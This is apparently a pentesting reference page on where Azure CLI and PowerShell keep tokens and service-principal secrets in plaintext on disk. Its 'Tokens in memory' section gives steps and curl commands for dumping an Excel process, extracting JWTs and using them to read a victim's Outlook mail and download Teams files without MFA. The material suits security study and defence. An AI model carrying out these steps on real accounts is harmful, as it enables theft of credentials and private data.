Az - Local Cloud Credentials

Reading time: 3 minutes

Local Token Storage and Security Considerations

Azure CLI (Command-Line Interface)

Tokens and sensitive data are stored locally by Azure CLI, raising security concerns:

1. Access Tokens: Stored in plaintext within accessTokens.json located at C:\Users\<username>\.Azure.
2. Subscription Information: azureProfile.json, in the same directory, holds subscription details.
3. Log Files: The ErrorRecords folder within .azure might contain logs with exposed credentials, such as:
   • Executed commands with credentials embedded.
   • URLs accessed using tokens, potentially revealing sensitive information.

Azure PowerShell

Azure PowerShell also stores tokens and sensitive data, which can be accessed locally:

1. Access Tokens: TokenCache.dat, located at C:\Users\<username>\.Azure, stores access tokens in plaintext.
2. Service Principal Secrets: These are stored unencrypted in AzureRmContext.json.
3. Token Saving Feature: Users have the ability to persist tokens using the Save-AzContext command, which should be used cautiously to prevent unauthorized access.

Automatic Tools to find them

• Winpeas
• Get-AzurePasswords.ps1

Tokens in memory

As explained in this video, some Microsoft software synchronized with the cloud (Excel, Teams...) might store access tokens in clear-text in memory. So just dumping the memory of the process and grepping for JWT tokens might grant you access over several resources of the victim in the cloud bypassing MFA.

Steps:

1. Dump the excel processes synchronized with in EntraID user with your favourite tool.
2. Run: string excel.dmp | grep 'eyJ0' and find several tokens in the output
3. Find the tokens that interest you the most and run tools over them:

# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Note that these kind of access tokens can be also found inside other processes.